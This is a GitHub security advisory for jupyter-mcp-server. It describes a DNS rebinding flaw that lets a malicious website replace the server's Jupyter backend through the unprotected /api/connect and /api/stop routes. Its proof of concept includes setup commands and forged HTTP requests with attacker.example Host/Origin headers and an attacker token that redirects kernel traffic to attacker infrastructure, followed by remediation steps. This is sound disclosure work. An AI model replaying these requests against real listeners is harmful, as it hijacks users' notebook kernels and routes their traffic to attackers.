{"id":"GHSA-9x8x-crjq-g64h","summary":"Jupyter MCP Server: Browser DNS rebinding can hijack the Jupyter backend through management routes","details":"Standalone `streamable-http` mode in `datalayer/jupyter-mcp-server` rejects forged `Host` and `Origin` headers on `/mcp`, but custom management routes mounted on the same application do not get the same browser-origin protection. A malicious website can keep an attacker origin while its hostname resolves to `127.0.0.1` or a private target address, then send `PUT /api/connect` to replace the MCP server's active Jupyter backend. The route accepts the browser-shaped request and makes the server start a kernel client against attacker-controlled infrastructure.\n\nThe protected `/mcp` endpoint shows the intended browser-origin boundary. With `MCP_TOKEN` configured, `/mcp` rejects forged browser headers:\n\n```text\nPOST /mcp with Authorization: Bearer SCAN_MCP_TOKEN\nHost: attacker.example:8142\nOrigin: http://attacker.example:8142\n\nHTTP 421 Invalid Host header\n```\n\nThe vulnerable route is `jupyter_mcp_server/server.py:143-187`. It parses caller JSON, updates the active Jupyter backend configuration, resets `ServerContext`, and starts the kernel without applying the `/mcp` Host/Origin rejection to the custom route:\n\n```python\n@mcp.custom_route(\"/api/connect\", [\"PUT\"])\nasync def connect(request: Request):\n    data = await request.json()\n\n    document_runtime = DocumentRuntime(**data)\n\n    set_config(\n        provider=document_runtime.provider,\n        runtime_url=document_runtime.runtime_url,\n        runtime_id=document_runtime.runtime_id,\n        runtime_token=document_runtime.runtime_token,\n        document_url=document_runtime.document_url,\n        document_id=document_runtime.document_id,\n        document_token=document_runtime.document_token,\n        allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or \"notebook_run-all-cells,notebook_get-selected-cell\"\n    )\n\n    ServerContext.reset()\n\n    try:\n        __start_kernel()\n        return JSONResponse({\"success\": True})\n```\n\n`/api/stop` is also state-changing and accepts the same browser-origin route shape:\n\n```python\n# jupyter_mcp_server/server.py:190-199\n@mcp.custom_route(\"/api/stop\", [\"DELETE\"])\nasync def stop(request: Request):\n    try:\n        current_notebook = notebook_manager.get_current_notebook() or \"default\"\n        if current_notebook in notebook_manager:\n            notebook_manager.remove_notebook(current_notebook)\n        return JSONResponse({\"success\": True})\n```\n\n## Proof of concept\n\nRun the affected version with `MCP_TOKEN` configured:\n\n```bash\ngit clone https://github.com/datalayer/jupyter-mcp-server\ncd jupyter-mcp-server\ngit checkout 27b91e551d8bbca2da32c334f9f13267290ff815\npython3.12 -m venv .venv\n. .venv/bin/activate\npython -m pip install -e .\nMCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \\\n  --transport streamable-http \\\n  --start-new-runtime false \\\n  --jupyterlab false \\\n  --mcp-token SCAN_MCP_TOKEN \\\n  --port 8083\n```\n\nFirst, show that `/mcp` rejects the browser-shaped request:\n\n```http\nPOST /mcp HTTP/1.1\nHost: attacker.example:8083\nOrigin: http://attacker.example:8083\nAuthorization: Bearer SCAN_MCP_TOKEN\nContent-Type: application/json\nAccept: application/json, text/event-stream\n\n{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{}}\n```\n\nObserved response:\n\n```http\nHTTP/1.1 421\nInvalid Host header\n```\n\nNow send the same browser-origin shape to the custom management route. In a browser DNS-rebinding attack, the attacker-controlled page keeps an attacker origin while the hostname resolves to `127.0.0.1` or the private MCP listener:\n\n```http\nPUT /api/connect HTTP/1.1\nHost: attacker.example:8083\nOrigin: http://attacker.example:8083\nContent-Type: application/json\n\n{\n  \"provider\": \"jupyter\",\n  \"runtime_url\": \"http://127.0.0.1:9183\",\n  \"runtime_id\": \"\",\n  \"runtime_token\": \"ATTACKER_TOKEN_REBIND\",\n  \"document_url\": \"http://127.0.0.1:9183\",\n  \"document_id\": \"demo.ipynb\",\n  \"document_token\": \"ATTACKER_TOKEN_REBIND\"\n}\n```\n\nObserved response:\n\n```http\nHTTP/1.1 200 OK\ncontent-type: application/json\n\n{\"success\":true}\n```\n\nThe server log shows that `/api/connect` accepted the attacker-chosen backend despite the browser-origin headers:\n\n```text\nConnect endpoint received - runtime_url: 'http://127.0.0.1:9183',\ndocument_url: 'http://127.0.0.1:9183', provider: jupyter\nStarting the kernel client...\nDefault notebook kernel started successfully\n```\n\nWhen an attacker-controlled backend is listening on `127.0.0.1:9183`, it receives Jupyter API traffic from the MCP server:\n\n```text\nPOST /api/kernels\nAuthorization: Bearer ATTACKER_TOKEN_REBIND\n\nGET /api/kernels/fake-kernel/channels?...token=ATTACKER_TOKEN_REBIND\n```\n\n## Impact\n\nThe protected `/mcp` endpoint rejects forged `Host` and `Origin` values, but adjacent custom routes accept them and perform sensitive state changes. A web attacker can use DNS rebinding to reach a local, LAN, VPN, or Docker-published MCP listener from the victim's browser, stop the current notebook kernel through `/api/stop`, replace the configured `runtime_url` and `document_url` through `/api/connect`, and cause the MCP server to initiate Jupyter API and WebSocket traffic to attacker-controlled infrastructure.\n\n## Why this is a vulnerability, not intended behavior\n\n- This is not a generic claim that `/mcp` lacks Host validation. `/mcp` rejects the forged Host replay with `HTTP 421 Invalid Host header`.\n- This is not a trusted MCP-client operation. The vulnerable path is a custom HTTP route outside normal JSON-RPC tool dispatch, and it accepts browser-shaped requests.\n- This is not only a broad-bind issue. The default `0.0.0.0` bind increases exposure, but the browser-origin boundary failure is that state-changing custom routes bypass the Host/Origin controls applied to `/mcp`.\n\n## Remediation\n\nApply the same browser-origin security policy to every route mounted on the standalone HTTP app:\n\n1. Enforce Host and Origin validation before custom routes parse request bodies or mutate global config.\n2. Require the `MCP_TOKEN` bearer token on `/api/connect`, `/api/stop`, `/api/healthz`, and any future custom route that reads or changes server state.\n3. Bind standalone HTTP to `127.0.0.1` by default, and require an explicit host allowlist for non-loopback listeners.\n4. Add regression tests proving that `/api/connect` and `/api/stop` reject forged browser `Host` and `Origin` headers.","aliases":["CVE-2026-77359"],"modified":"2026-11-20T00:30:06.844720566Z","published":"2026-11-20T00:12:51Z","database_specific":{"github_reviewed_at":"2026-11-20T00:12:51Z","nvd_published_at":"2026-11-19T17:18:59Z","cwe_ids":["CWE-350"],"severity":"CRITICAL","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/datalayer/jupyter-mcp-server/security/advisories/GHSA-9x8x-crjq-g64h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77359"},{"type":"WEB","url":"https://github.com/datalayer/jupyter-mcp-server/pull/262"},{"type":"WEB","url":"https://github.com/datalayer/jupyter-mcp-server/commit/c2e98fca2df1bbd608451ec416aaa38a4"},{"type":"PACKAGE","url":"https://github.com/datalayer/jupyter-mcp-server"},{"type":"WEB","url":"https://github.com/datalayer/jupyter-mcp-server/releases/tag/v1.0.3"}],"affected":[{"package":{"name":"jupyter-mcp-server","ecosystem":"PyPI","purl":"pkg:pypi/jupyter-mcp-server"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.3"}]}],"versions":["0.1.0","0.10.0","0.10.2","0.11.0","0.12.0","0.13.0","0.14.0","0.15.0","0.15.1","0.15.2","0.15.4","0.16.0","0.16.1","0.16.2","0.16.3","0.17.0","0.18.0","0.18.1","0.18.2","0.19.0","0.2.0","0.20.1","0.21.0","0.21.1","0.21.2","0.22.0","0.22.1","0.23.0","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.4.0","0.5.0","0.6.0","0.7.0","0.8.0","0.9.0","1.0.0","1.0.2"],"database_specific":{"last_known_affected_version_range":"\u003c= 1.0.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-9x8x-crjq-g64h/GHSA-9x8x-crjq-g64h.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:H/SI:H/SA:H"}]}